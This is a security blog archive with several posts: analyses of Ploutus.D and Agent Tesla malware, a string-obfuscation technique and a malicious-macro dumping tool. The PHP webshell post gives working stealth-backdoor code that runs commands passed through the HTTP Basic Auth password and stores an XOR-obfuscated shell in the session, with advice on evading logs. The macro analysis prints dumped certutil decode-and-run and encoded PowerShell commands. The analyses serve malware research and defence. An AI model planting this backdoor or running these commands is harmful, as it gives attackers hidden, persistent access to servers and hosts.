lunedì 26 febbraio 2018

Analyzing the nasty .NET protection of the Ploutus.D malware.

Twitter: @s4tan

EDIT: The source code is now online: https://github.com/enkomio/Conferences/tree/master/HackInBo2018

Recently the ATM malware Ploutus.D reappeared in the news as being used to attack US ATM ([1]). In this post I'll show a possible analysis approach aimed at understanding its main protection. The protection is composed of different layers of protection, I'll focus on the one that, in my hopinion, is the most annoying, leaving the others out. If you want a clear picture of all the implied protections, I strongly recommend you to take a look at the de4dot Reactor deobfuscator code.

Introduction

Reversing .NET malware, in most cases, is not that difficult. This is mostly due to the awesome tool dnSpy ([2]), which allows debugging of the decompiled version of the Assembly. Most of the .NET malware use some kind of loader which decrypts a blob of data and then loads the result through a call to the Assembly.Load method ([3]).

From time to time some more advanced protection are involved, like the one analysed by Talos in [4]. What the article doesn't say is that in this specific case the malware uses a multi files assembly ([5]).

This implies that instead of using the Assembly.Load method, it uses the way less known Assembly.LoadModule method ([6]). This protection method is a bit more difficult to implement but I have to say that is way more effective as obfuscation. The malware also encrypt the method bodies and decrypt them only when necessary. This protection is easily overcome by calling the "Reload All Method Bodies" command in dnSpy at the right moment (as also showed in the Talos article).

Ploutus.D is also protected with an obfuscator which encrypts the method bodies and decrypts them only when necessary. The protector used is .NET Reactor ([7]) as also pointed out in a presentation by Karspersky ([8]). This particular protection is called NecroBit Protection, and from the product website we can read that:

NecroBit is a powerful protection technology which stops decompilation. NecroBit replaces the CIL code within methods with encrypted code. This way it is not possible to decompile/reverse engineer your method source code.


The difference with the previous case is that if we try to use the "Reload All Method Bodies" feature in dnSpy, it will fail (this is not technically correct since there is nothing to reload as we will see).

Reversing Ploutus.D obfuscation

To write this blog post I have reversed the sample with MD5 ae3adcc482edc3e0579e152038c3844e. When I start to analyse a .NET malware, as first task I ran my tool Shed ([9]) in order to have a broad overview of what the malware does and to try to extract dynamically loaded Assemblies. In this case I was able to extract some useful strings (like the configured backend usbtest[.]ddns[.]net) but not the Assembly with the method bodies decrypted (however this is not an error and as we will see it is the correct behaviour).

The next step is to debug the program with dnSpy. If you run it the following Form will be displayed:

I started to dig a bit on the classes that extend the Form class in order to identify which commands are supported. Unfortunately most of the methods of these classes are empty, as can be seen from the following screenshot:


It is interesting to note that all the static constructors are not empty. All of them are pretty simple (in some cases they have just one instruction), what it is interesting is that all of them call the same method: P9ZBIKXMsRMxLdTfcG.Nf9E3QXmJD();, which is marked as internal unsafe static void Nf9E3QXmJD().

By analysing it, the thing start to get interesting since this method is pretty huge, especially since it implements a very annoying control flow obfuscation. It is interesting to notice that if we set a breakpoint on this method and re-start the debugging session, it is amongst the first methods invoked by the program. Scrolling through the code we can find the following interesting statement:

if (P9ZBIKXMsRMxLdTfcG.Ax6OYTY7tiMf4Yu1B4(P9ZBIKXMsRMxLdTfcG.XnSi7dQe0TUTJbDcxg(P9ZBIKXMsRMxLdTfcG.CQNheW6eOQNeBsXbJC(processModule)), "clrjit.dll"))


This piece of code is particularly interesting, since it tries to identify the clrjit.dll module. Once found, it identifies the CLR version, which in my case is 4.0.30319.0. Then, it extracts the resource m7fEJg2w6sBe9LM3D3.i4tjc9Xt0Vhu5G72Uh.

After a while the getJit string appears in the execution. This function is exported by clrjit.dll and it is a very important method since it allows to get a pointer to the compileMethod method. To know more about it you could refer to my Phrack article about .NET program instrumentation ([10]). We can also identify a call to the VirtualProtect method.

With these information we can start to make some assumption, like that the malware hook the compileMethod method in order to force the compilation of the real MSIL bytecode. Let's verify our assumption, in order to do so we need to change tool, in particular we will use WinDbg with the SOS extension (if you want to know more about debugging .NET applications with WinDbg take a look at my presentaion [11]).

In order to inspect the program at the right moment, we will set an exception when the clrjit.dll library is loaded. This is easily done with the command:

sxe ld clrjit.dll
once that this exception is raised let's inspect the clrjit module as showed in the following image:



The getJit method is an exported by clrjit dll and returns the address of the VTable of an ICorJitCompiler object, where the first item is a pointer to the compileMethod method, as can be seen from the source code ([12]). But, since we don't trust the source code, let's debug the getJit method till the ret instruction and inspect the return value stored in eax:


as can be seen from the image above, the address of the compileMethod is at 0x70f049b0. Now let's the program run until the main windows is displayed and then break the process in the debugger. Let's display again the content of the VTable (which was 0x70f71420).


As can be seen from the image above the value of the first entry of the VTable changed to from 0x70f049b0 to 002a0000. So our assumption about the hooking of the compileMethod was right :)

Now we want to identify which method hooked the compileMethod method. To do this we will load the SOS extension (with the command .loadby SOS clrjit), set a breakpoint at the compileMethod method and when the brakpoint hits, type !CLRStack command to see which method was set as replacement. In order to trigger the compileMethod breakpoint I clicked on a random button in the interface.


from the image above we can spot that the interested method is qtlEIBBYuV. Find below the decompiled code of the metohd (I have renamed the argument names and added some comments):

What is interesting from the code above is that:
  • it reads the address of the COREINFO_METHOD_INFO structure at (1)
  • writes back the real MSIL bytecode at (2)
  • updates the fields ILCode and ILCodeSize at (3) and (4)
  • finally call the original compileMethod at (5)
In this way, it is sure that the correct MSIL code is compiled and executed (for more info on this structure please refer to [10,12]).

Finally, we have a pretty good understanding of how the real code is protected, now we can try to implement a simple program which dumps the real MSIL bytecode and rebuilds the assembly. The de4dot tool, instead, uses a different approach, which is based on emulating the decryption code of the method body and then rebuild the assembly.

Let's the code speak

A possible approach to dump the real MSIL bytecode is:
  • Hook the compileMethod before the malware
  • Force all static constructors to be invoked and force compilation of all methods via RuntimeHelpers.PrepareMethod. This will ensure that we are able to grab all the ILCode of the various methods.
  • When the hook is invoked store the values of the fields ILCode and ILCodeSize. We have to record also which method is currently compiled, this is done with the code getMethodInfoFromModule from [10].
  • Rebuild the assembly by using Mono.Cecil or dnlib (my choice)
However, for this specific case, I'll use a slightly different approach, which is not as generic as the previous one but it is simpler and more interesting imho :)

As we have seen from the code above, the P9ZBIKXMsRMxLdTfcG.k6dbsY0qhy is a dictionary of objects which contains the real MSIL bytecode as value and as key the address of the MSIL buffer. What we can do is to read the value of this object via reflection and rebuild the original binary. All this without implying the hooking of any methods :)

I have implemented a simple program that extracts those values via reflection, calculates the address of each method and rebuild the assembly. If you want to take a look it, here is the code.

After dumped the real MSIL, we can see that now the methods are not empty anymore:


Conclusion

The purpose of this post was to show how to analyse, in an effective way, a strongly obfuscate malware with the help of different tools and the knowledge of the internal working of the .NET framework.

As an alternative, if you want to obtain a de-obfuscated sample I encourage you to use the de4dot tool (and to read the code since this project is a gold mine of information related to the .NET internals).

At the time of this writing the sample is not correctly deobfuscated by de4dot due to an error in the string decryption step. To obtain a deobfuscated sample with the real method body, just comment out the string decryption step in ObfuscatedFile.cs.

Too often developers underestimate the power of reflection and as a result it is not uncommon to bypass protection (included license verification code) only by using reflection and nothing more :)

References

[1] First ‘Jackpotting’ Attacks Hit U.S. ATMs - https://goo.gl/6WY14V
[2] dnSpy - https://github.com/0xd4d/dnSpy
[3] Assembly.Load Method (Byte[]) - https://goo.gl/owZtC1
[4] Recam Redux - DeConfusing ConfuserEx - https://goo.gl/oKgj1k
[5] How to: Build a Multifile Assembly - https://goo.gl/mVdHuU
[6] Assembly.LoadModule Method (String, Byte[]) - https://goo.gl/D6N797
[7] .NET REACTOR - http://www.eziriz.com/dotnet_reactor.htm
[8] Threat hunting .NET malware with YARA.pdf - https://goo.gl/RxEw1G
[9] Shed, .NET runtime inspector - https://github.com/enkomio/shed
[10] http://www.phrack.org/papers/dotnet_instrumentation.html
[11] .NET for hackers - https://www.slideshare.net/s4tan/net-for-hackers
[12] getJit() - https://github.com/dotnet/coreclr/blob/master/src/inc/corjit.h#L241

domenica 12 novembre 2017

Shed - Inspect .NET malware like a Sir

When I start to analyze a new malware, there are some initial tasks that provide a lot of useful information to speedup the analysis. Two of them are of particular interest, the extraction of the embedded strings and the dumping of packed binaries. Unfortunately those information are often obfuscated or not so easy to retrieve. In this article I'll present a new tool which is able to analyze .NET programs in order to extract those information in an easy way. Its name is Shed.

You can find the full source code of the project and an already compiled binary in this Github project.

Introduction

The idea behind this tool is to make the extraction of strings that reside in memory easier and also to dump dynamically loaded binaries. I'll show you how to use Shed in order to analyze a well know .NET RAT malware.

Dump the Heap

When a new object is created, it is saved in the managed heap. This memory area is managed by the .NET runtime, more specifically by the Garbage Collector. It is its responsibility to free unused memory when needed. This specific behavior is very handy for an analyst, since the Garbage Collector will not reclaim the memory if not necessary. In this way we have a good amount of time to inspect the heap and to dump useful objects, like strings or byte array.

Thanks to the powerful Reflection capability provided by .NET, for each stored object we can extract the type and also all associated fields. In this way we can reconstruct the memory representation of complex class that can provide useful insight about the inner working of the malware.

Modules dump

Another interesting aspect when analyzing a malware is the ability to dump dynamically loaded Assemblies. This case is pretty common, since most of the .NET malware store the main Assembly in some kind of encrypted form and load it only at runtime.

It already exists a very useful tool that allow you to dump dynamically loaded Assemblies which is MegaDumper, but since it is not open source (on GitHub you can find a decompiled version) and I have never wrote a PE dumper, I decided to create my own tool :)

In order to dump an Assembly we have to dump the related PE file from memory. This operation can be pretty challenging, a lot depends on how the malware was protected.

A naive approach is identifying the start of the PE file and starting from there read

PE->SizeOfImage

bytes. The main problem with this approach is that by now most of the malware use Process Hollowing ([1]) to inject its content in a newly created process. This implies that the PE is not mapped in a contiguous memory area, making the read operation not possible.

A better strategy is to parse the PE header and reconstruct the binary by reading all sections from memory.

One important aspect to consider when dump a .NET Assembly is to fix the PE Entry Point. Let us analyze the Entry Point of a managed PE file:
[0x0043d9de]> pd 1
;-- entry0:
0x0043d9de    ff2500204000   jmp dword [sym.imp.mscoree.dll__CorExe
the code jumps to the _CorExe routine. From MSDN ([2]) we can read that:

Initializes the common language runtime (CLR), locates the managed entry point in the executable assembly's CLR header, and begins execution.

So we need to set the Entry Point of the reconstructed binary to a piece of code which jump to this function. Last missing part is to obtain the address of this function. This task can be accomplished by walking the Import Address Table and locating it.

Use cases Agent Tesla (cc518a6c63f56c4891b5e30e8cb97b26)

Let's see how to use Shed in order to analyze a real world malware, an agent Tesla sample analyzed by Forcepoint in [3].

c:\Shed>Shed.exe --timeout 2000 --exe cc518a6c63f56c4891b5e30e8cb97b26.exe
    -=[ Shed .NET program inspector ]=-
Copyright (c) 2017 Antonio Parata - @s4tan

[+] Attached to pid: 160
[+] Created runtime: v2.0.50727.5420
...
[+] [System.String] 0x278043C: 0|0|0|0|0|0|0|0|0|0|18000|1|skpehostbrowaer.exe|Temp|AXKTOimGsklqIffPCompzbSmVnpwanUmzyjRJTSpqQzJHIASyqoYDvKR|0|0|0|0|0|0|0|IWIOzYrGb|0|0|0|0|0|0|NgjBaJMqu|OEeQOTHIoxSSUapGpFWjxLNzWbe|6|0|
[+] [System.String] 0x2780610: /c echo [zoneTransfer]ZoneID = 2 > 
[+] [System.String] 0x2780668: :ZONE.identifier & exit
[+] [System.String] 0x2780748: <?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">  <RegistrationInfo>    <Date>2014-10-25T14:27:44.8929027</Date>    <Author>[USERID]</Author>  </RegistrationInfo>  <Triggers>    <LogonTrigger>      <Enabled>true</Enabled>      <UserId>[USERID]</UserId>    </LogonTrigger>    <RegistrationTrigger>      <Enabled>false</Enabled>    </RegistrationTrigger>  </Triggers>  <Principals>    <Principal id="Author">      <UserId>[USERID]</UserId>      <LogonType>InteractiveToken</LogonType>      <RunLevel>LeastPrivilege</RunLevel>    </Principal>  </Principals>  <Settings>    <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>    <AllowHardTerminate>false</AllowHardTerminate>    <StartWhenAvailable>true</StartWhenAvailable>    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>    <IdleSettings>      <StopOnIdleEnd>true</StopOnIdleEnd>      <RestartOnIdle>false</RestartOnIdle>    </IdleSettings>    <AllowStartOnDemand>true</AllowStartOnDemand>    <Enabled>true</Enabled>    <Hidden>false</Hidden>    <RunOnlyIfIdle>false</RunOnlyIfIdle>    <WakeToRun>false</WakeToRun>    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>    <Priority>7</Priority>  </Settings>  <Actions Context="Author">    <Exec>      <Command>[LOCATION]</Command>    </Exec>  </Actions></Task>
[+] [System.String] 0x2781308: [LOCATION]
[+] [System.String] 0x2781330: schtasks.exe

...
[+] Saved dynamic module: raobtmNqCzJjZpcUiyDwYSCM
[+] Saved dynamic module: Microsoft.VisualBasic.dll
[+] Result saved to c:\Shed\Result\160
[+] Detached
From the output we can see that a module with a weird name (raobtmNqCzJjZpcUiyDwYSCM) was dumped. This Assembly was decrypted and loaded by the first loader layer.

It is in charge for various operations and it has also a configuration string which is:

0|0|0|0|0|0|0|0|0|0|18000|1|skpehostbrowaer.exe|Temp|AXKTOimGsklqIffPCompzbSmVnpwanUmzyjRJTSpqQzJHIASyqoYDvKR|0|0|0|0|0|0|0|IWIOzYrGb|0|0|0|0|0|0|NgjBaJMqu|OEeQOTHIoxSSUapGpFWjxLNzWbe|6|0|

specify the time to sleep (18000 milliseconds) and the name to give to the real payload.

Also, it is in charge for ensuring persistence by creating a task with the XML configuration string displayed in the output. Finally, it decrypts the real payload and executes it with a .NET implementation of the RunPE technique which use Process Hollow.

This loader was already analyzed in [4]. By using Shed, we can see that we were able to retrieve a lot of useful information without too much effort.

Moving on, in order to inspect the real payload, I executed the program and waited for the spawn of a new process. After this, I ran Shed against the newly created process as showed below:
c:\Shed>Shed.exe --pid 3652
    -=[ Shed .NET program inspector ]=-
Copyright (c) 2017 Antonio Parata - @s4tan

[+] Attached to pid: 3652
[+] Created runtime: v2.0.50727.5420
...
[+] [System.String] 0x297A798: <br>VideocardName&nbsp;: 
[+] [System.String] 0x297A7DC: <br>VideocardMem&nbsp;&nbsp;: 
[+] [System.String] 0x297A82C: <br>IP Address&nbsp;&nbsp;:
...
[+] Saved dynamic module: Microsoft.VisualBasic.dll
[+] Saved dynamic module: Microsoft.JScript.dll
[+] Saved dynamic module: IELibrary
[+] Saved dynamic module: System.Security.dll
[+] Result saved to c:\Shed\Result\3652
[+] Detached
This time the output is pretty huge. Among the dumped modules the most interesting ones are:

IELibray (9759067EDF26E4A4E49B4E228C7DF81C)

It is used to interact with Internet Explorer in order to steal usernames, passwords and cookies, as can be seen by the following image:

no name (6030C0CFC40A6A69857454D5EB41D9FA)

This is the real Agent Tesla module, where we can see the routine in charge for decrypting the stored string:


Heap inspection

As already said, even if the strings are stored in encrypted form they will survive until the Garbage Collector will not reclaim the memory. If we take a look at the JSON file heap.json, we will see (apart from the enormous amount of information dumped) a lot of useful data, like the SMTP server and account used to exfiltrate data:

{
  "Address": 43845700,
  "Name": null,
  "Properties": [ ],
  "Reference": 0,
  "Type": "System.String",
  "Value": "gp4XXXXXX@zoho.com"
},
...
{
  "Address": 43864368,
  "Name": null,
  "Properties": [ ],
  "Reference": 0,
  "Type": "System.String",
  "Value": "poXXXXX8"
},
...
{
  "Address": 43871204,
  "Name": null,
  "Properties": [ ],
  "Reference": 0,
  "Type": "System.String",
  "Value": "smtp.zoho.com"
},
...

Conclusion

I hope that you enjoyed this post and that you will find Shed useful in your analysis :)

References

[1] Process Hollowing
[2] _CorExeMain Function
[3] PART TWO - CAMOUFLAGE .NETTING
[4] Unpacking yet another .NET crypter

sabato 16 settembre 2017

Using a Mealy automata for string obfuscation

Obfuscating string is a very important aspect if you want to protect sensitive information. In the following post I'll present an alternative method to obfuscate strings by using a Mealy automata.

You can find the full source code of the project in this Github project

Introduction

From Wikipedia ([1]) we can read that a Mealy machine is a finite-state machine whose output values are determined both by its current state and the current inputs. There are plenty of information on the internet about this concept, so I will not go into further details. What is interesting to us is that by having an automata, we can give it a specific input and have the computed string as output.

The idea of using a Mealy machine to obfuscate strings is not new and it was already presented in [2]. Unfortunately the book doesn't explains how to create a Mealy automata in an automatic way. As the task of creating an automata manually, for each of the strings, is very time consuming, I felt that a very important part was missing.
In the following paragraphs I'll try to fill this hole by providing you with a possible implementation.
In the final section we will see an example that uses the code presented in the book.

Why using a new method?

If you have ever reversed a binary which use obfuscation you might have noticed that most of the obfuscation strategies are based on using some kind of know cryptographic algorithm or by using a custom encoder based on ADD/XOR/ROL instructions. Both cases have advantages and disadvantage (using a XOR obfuscation is a weak method, see [3]), but both are based on the assumption that they have the data encoded/encrypted in some way in the binary. In our case we convert the data in "code" that generates the decoded value at runtime.

For our purpose we will use a Mealy machine which has 0/1 as input. This choice will allow us to encode each letter with a bit, greatly reducing the input representation.

Implementation

Let's consider a simple automata (created with [4]):


On each arrow there is the input and the associated output. If we consider the state 0 as the initial one and pass the input string: 0 1 1 0 1 0 0 we will receive as output the string ANTONIA.

In order to automatically generates the automata I found that starting by considering the input was a pretty challenging task. So I changed strategy and considered the output in order to create the automata. For each character, the choice is between creating a new state, or connecting to one of the already existing states. You can find the full F# source code implementation with a test example here.

Testing

Now that we have an algorithm to generate the automata, let's try to obfuscate some strings. Since the implementation was done in F# I'll create an helper method to print the automata in an handy way in order to import the result in a C program. Let's consider the string supersecretpassword. The automata and the input generated from this string are (the result may be different on your machine):
Input text: supersecretpassword

Input: 1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0, Int: 250915

Output: {{'e', 's'}, {'e', 'u'}, {'p', 'e'}, {'e', 'a'}, 
        {'r', 'r'}, {'c', 'w'}, {'d', 't'}, {'s', 'd'}, 
        {'u', 's'}, {'p', 'w'}, {'a', 'o'}, {'d', 's'}, 
        {'s', 'p'}}

Automata: {{6, 1}, {5, 2}, {3, 2}, {4, 7}, {0, 11}, {4, 12}, 
          {12, 2}, {8, 4}, {12, 9}, {0, 10}, {6, 4}, {12, 7}, 
          {11, 10}}


Since the length of the string is less than 32 characters, we can convert the binary input into a DWORD. Now let's write a C program that reconstruct the given string:

#include "stdafx.h"

void deobfuscate(char* text, int length, int key, char automata[][2], char output[][2])
{
 int v = 0, state = 0, i = 0;
 for (i = 0; i < length; i++)
 {
  v = key & 1;
  key >>= 1;
  text[i] = output[state][v];
  state = automata[state][v];
 }
 text[i] = '\0';
}


int main()
{
 char text[20];
 int key = 250915;

 char automata[][2] =
 { { 6, 1 },{ 5, 2 },{ 3, 2 },{ 4, 7 },{ 0, 11 },
 { 4, 12 },{ 12, 2 },{ 8, 4 },{ 12, 9 },{ 0, 10 },
 { 6, 4 },{ 12, 7 },{ 11, 10 } };

 char output[][2] =
 { { 'e', 's' },{ 'e', 'u' },{ 'p', 'e' },{ 'e', 'a' },
 { 'r', 'r' },{ 'c', 'w' },{ 'd', 't' },{ 's', 'd' },
 { 'u', 's' },{ 'p', 'w' },{ 'a', 'o' },{ 'd', 's' },
 { 's', 'p' } };

 deobfuscate(text, sizeof(text)-1, key, automata, output);

 printf("Output: %s", text);
 return 0;
}


If we run this code we can see that the string "supersecretpassword" will be displayed in the console :)

Conclusion

I hope that you enjoyed this post as much as I enjoyed to write the code. If you find any errors or you know a better algorithm to implement the Mealy automata just leave a comment or drop me an email ;)

References

[1] Mealy machine
[2] Surreptitious Software: Obfuscation, Watermarking, and Tamperproofing for Software Protection
[3] XORSearch & XORStrings
[4] Finite State Machine Designer

domenica 14 maggio 2017

Hiding PHP Webshell in an effective way

There are many reason why you want to hide your PHP Webshell, for example not being caught by the system administrator during a penetration testing activity. In this post I'll propose a possible approach on how to do it.

Let's consider this scenario:
  • you are able to create a PHP file in the web root of the web server (for example by exploiting an arbitrary file upload, a RCE and so on...)
  • you want to use a shell that is a bit more complete than: eval($_GET['c'])
  • you want to be as stealth as possible (speaking of both artifacts left on the filesystem and at a network level)
The first step is the creation of the PHP file that will accept our input. This file should be very small and possibly with no direct reference to code execution functions. Sucuri wrote some blog posts about possible ways to execute PHP code in an unusual way ([1], [2]), but in my opinion there is a clever way to execute PHP code by using "Variable functions" ([3], [4]).

This idea is pretty simple, let us see an example:
$fun = 'strrev';
print $fun('Hello');
The result will be: olleH

Cool, so we can create something like:
$f = $_GET['c'];
$f($_GET['p']);
and we can pass as c = eval and as p = <my evil code>. Unfortunately it will not work :\ From the Variable functions page we can read:

"Variable functions won't work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like. Use wrapper functions to employ any of these constructs as variable functions."

Among the excluded functions there is also eval :( Ok, not too bad, if you know PHP, you will also know that there is the assert function that has a very similar behavior to eval and it is allowed :)

So, now we have a very simple PHP code that can execute arbitrary code with a very minimal footprint. The best choice would be to alter a legit .PHP file and append our short code to it, in this way no new files will be created on the file system. Now, our second concern is to cover our network trace.

To do this, we can opt for the GET method and pass the data via query string. This is probably the worst option since the query string is logged by default in the log web server.

As an alternative we can use the POST method for our communication, but if you have added the PHP code to a legit page that doesn't accept POST data, this could look suspicious and raise the attention of the administrator. Also in a log file the POST requests are considerably less that the GET requests, this fact can be spotted easily by a system administrator.

We should find something that is considered a bad practice to be logged, something that, if implemented, could be classified as the CWE-532: Information Exposure Through Log Files. Yes, you got it, we will use a password field :) To be more precise the HTTP Basic Authorization Header. This value is also encoded in base64 and can be accessed from PHP without any need to do a decode first. So, in the end our code will be something like:
<?php

 if (isset($_SERVER['PHP_AUTH_PW'])) 
 {
  $a = explode("|", $_SERVER['PHP_AUTH_PW']); 
  @$a[0]($a[1]);
 }

?>
Now we need just one last step, the code that we want to execute should be user-friendlier than just that raw shell but we don't want to store it in a separate file in the web root, we need to find another place to store it and that can be easily accessed by PHP.

The perfect solution seems to be the SESSION object. This object is typically serialized in a file in the temp directory (as default configuration), so it is very unlikely that a system administrator takes a look at those files for no reason.

Let's have a brief recap:
  1. we have a very short and simple PHP code, possibly embedded inside a legit PHP file
  2. we will use the Autorization header to communicate with our code, this will avoid to have our data logged
  3. we will store the big PHP shell in the user session in order to be called later
Let's suppose that $webshell is the content that we want to store in the user session (a shell C99 style). Our first request will store the code in the user session. We will send as HTTP Basic password the following content:
  0                  1                     2                3
assert|eval(base64_decode(INSTALLER))|SESSION_KEY|base64(PHP_SHELLCODE)
The request will call the assert function (0), which in turn will call the eval function (1) (this is done to overcome the Variable Functions limitation) on a base64 decoded string (INSTALLER) which has this content:
session_start();
$a = explode("|", $_SERVER['PHP_AUTH_PW']);
$_SESSION[$a[2]] = $a[3];
This code just extracts the session key name from the data (2), the base64 encoded PHP web shell (3) (the content of $webshell) and save it in the user session. Now we have a PHP webshell in our session that is just waiting to be invoked :)

We can do this by sending the following data:
assert|eval(base64_decode(INVOKE))
where the content of INVOKE is:
session_start();
if (array_key_exists("SESSION_KEY", $_SESSION))
{
    function xor_deobf($str, $key)
    {
       $out = '';
       for($i = 0; $i < strlen($str); ++$i)
          $out .= ($str[$i] ^ $key[$i % strlen($key)]);
       return $out;
    }
    eval(xor_deobf(base64_decode($_SESSION["SESSION_KEY"]), "MY_HARCODED_KEY"));
}
Basically it verifies that the given SESSION_KEY is present and if so its content is executed. I have used a simple XOR obfuscation layer to be even more stealthy.

Of course, $webshell should also use the same communication channel in order to be stealth, otherwise you will loose your benefit :)

Conclusion

I hope that you have found this simple post useful. I created a simple python script that it is able to communicate with my code and execute commands.

You can find it at: https://gist.github.com/enkomio/c6db9cb690bbeac1476fb3e56bf7c1a4

You can invoke it with the following command:
phquirk.py http://www.example.com/legit_file_with_my_code.php "print 'Hello from my web shell';"
The result is:
[+] Using session value: PHPSESSID=d22838ce1683e0c9f7f634b10b
[+] Encryption key: d51313ea1fd9233dfe8c40eacfde35e7290aaec8533cc0dd78
[+] Saved command in user session
[+] Command result: Hello from my web shell

References

[1] PHP Backdoors: Hidden With Clever Use of Extract Function - https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html

[2] PHP Callback Functions: Another Way to Hide Backdoors - https://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html

[3] Variable functions - http://php.net/manual/en/functions.variable-functions.php

[4] A Look Into Creating A Truley Invisible PHP Shell - https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell/

sabato 13 agosto 2016

Analyzing a malicious word document was never so easy

As a Threat Analyst I'm often involved in analyzing malicious MS Word documents. This task involve, among the other things, the extraction of the embedded macros in order to be analyzed. Currently there are various tools that allow you to extract the source code of the macro via static analysis, but I found this task pretty boring and time consuming.

Also, the malware authors use various approaches to avoid the insertion of useful information inside the macro source code. A recent article describe some of these techniques.

So I decided to spend some hours and create a program that allows you to:
  • Automatically dump all executed macros
  • Automatically dump all the strings instantiated during the macro execution
  • Automatically dump all the executable dropped by the macro (by string content inspection)
I called it the Macro Inspector, and you can found the source code at https://github.com/enkomio/MacroInspector.

Dump all execute macros

In order to accomplish this task, I had to find the point where the macro source code is read in order to be parsed and executed. After spending some time reversing the VBE7 library I found what seems to be a good point to read the source code:
E8 30070000   CALL 7024428B
8BF0          MOV ESI,EAX
81FE C4880A80 CMP ESI,800A88C4
0F84 CD000000 JE 70243C36
81FE 0D9D0A80 CMP ESI,800A9D0D

After the execution of the CALL instruction we have EDX register points to the line of macro source code just read. We have then a good point to intercept the source of the executed macro.

Dump all instantiated strings

To fulfill this point it was necessary to dig a little bit in the OLE Automation concept. After reading a bit more about the OLE Automation I understood that if I was able to dump all the created BSTR objects I have a good amount of information about the inner working of the executed macro. The BSTR string are managed through various functions, one of the most interested one is the SysFreeString method. By intercepting this method I was able to get all the freed strings created during the macro execution.

Finally, by inspecting the content of the dumped strings I can recognized what could be a valid PE file.

Test on real word malicious documents

In order to intercept the interested code I used the WinAppDbg python module. MacroInspector is very easy to use, just run the python program and open the malicious WORD document. The MacroInspector will loop forever until a new WINWORD process is found.

For all my test I used MS Office 2013, it could happen that for different office version the code to read the macro source may change and then the program it is not able to set the breakpoint.

I decided to try the program with some of the malicious files presented in the Virus Bulletin article. For each sample I executed the macro_inspector program, opened the malicious document, enabled the macro and then closed the document (this last step ensure that events associated with closing action are executed).

Evading macro code extraction I


Hash: 7888b523f6b8a42c8bfad0a2fd02ba6e7837299fbc3d6a2da6bea20f302691f7
By extracting the macros from this document we can notice that no useful information are retrieved. But if we take a look at the dumped strings we can easily identify the following useful information:
String: http:/
String: http://
String: http://w
String: http://ww
String: http://www
String: http://www.
String: http://www.s
String: http://www.st
String: http://www.stu
String: http://www.stud
String: http://www.studi
String: http://www.studio
String: http://www.studiop
String: http://www.studiopa
String: http://www.studiopan
String: http://www.studiopane
String: http://www.studiopanel
String: http://www.studiopanell
String: http://www.studiopanella
String: http://www.studiopanella.
String: http://www.studiopanella.i
String: http://www.studiopanella.it
String: http://www.studiopanella.it/
String: http://www.studiopanella.it/9
String: http://www.studiopanella.it/9u
String: http://www.studiopanella.it/9uh
String: http://www.studiopanella.it/9uh8
String: http://www.studiopanella.it/9uh87
String: http://www.studiopanella.it/9uh87g
String: http://www.studiopanella.it/9uh87g7
String: http://www.studiopanella.it/9uh87g75
String: http://www.studiopanella.it/9uh87g756
from this log it is pretty clear that the macro is trying to decrypt an url.

Evading macro code extraction - II


Hash: e812350f2f84d1b7f211a1778073e14ae52bc3bded8aeac536170361a608f8fa
Even in this case as in the previous one no useful information are contained in the dumped macro source code. But again, if we take a look at the list of extracted strings we can identify very useful information like the following powershell command:
powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAGUAdwAtAE8AQgBKAGUAQwB0ACAAUwBZAFMAVABlAG0ALgBO...

Evading payload magic signature check & Certutil abuse


Hash: 562994fcbece64bd617e200485eeaa6d43e5300780205e72d931ff3e8ccb17aa
Same story as the previous one :) This time the macro tries to execute a shell command after decrypting its value as showed in the following log excerpt:
String: cmd /c certut
String: cmd /c certutil -decode %TM
String: cmd /c certutil -decode %TMP%\\panda.pf
String: cmd /c certutil -decode %TMP%\\panda.pfx %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & star
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.exe
in the log we can also see a base64 string, that after being decoded present the well know MZ magic value as the first two bytes:
String: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAFBFAABMARAAVwEBAA...

Conclusion

The Macro Inspector is a simple but very useful tool that can really speed up the analysis of Word Document, it is still in its first version, and there is a lot of space for improvement, but I hope that you can find it helpful :)

References

  1. The Journey of Evasion Enters Behavioural Phase - https://www.virusbulletin.com/virusbulletin/2016/07/journey-evasion-enters-behavioural-phase/
  2. WinAppDbg - http://winappdbg.sourceforge.net/
  3. OLE Automation - https://msdn.microsoft.com/en-us/library/dt80be78.aspx

sabato 16 luglio 2016

New Fluent interface in Fslog

Fslog is a simple yet powerful library that can be used to log messages in your program. It was implemented with a semantic approach in mind, and you can find it on GitHub.


The initial interface was a bit cumbersome to use, so I decided to implement a more user friendly interface based on the Fluent style. Let see how to use this new interface, the first step is to configure a LogProvider:
open System
open ES.Fslog

let lp = new LogProvider()
let consoleLogger = new ConsoleLogger(LogLevel.Informational)
lp.AddLogger(consoleLogger)
That piece of code creates and configures a LogProvider with a ConsoleLogger. Now you can create your own LogSource and add it to the LogProvider in order to start to log to the console. Of course you can customize how the log messages are displayed by creating a LogFormatter, like this:
open System
open ES.Fslog
open ES.Fslog.Loggers
open ES.Fslog.TextFormatters

type internal ConsoleLogFormatter() = 
    let getLevelStr(logLevel: LogLevel) =
        match logLevel with
        | LogLevel.Critical      -> "CRIT"
        | LogLevel.Error         -> "ERRO"
        | LogLevel.Warning       -> "WARN"
        | LogLevel.Informational -> "INFO"
        | LogLevel.Verbose       -> "TRAC"
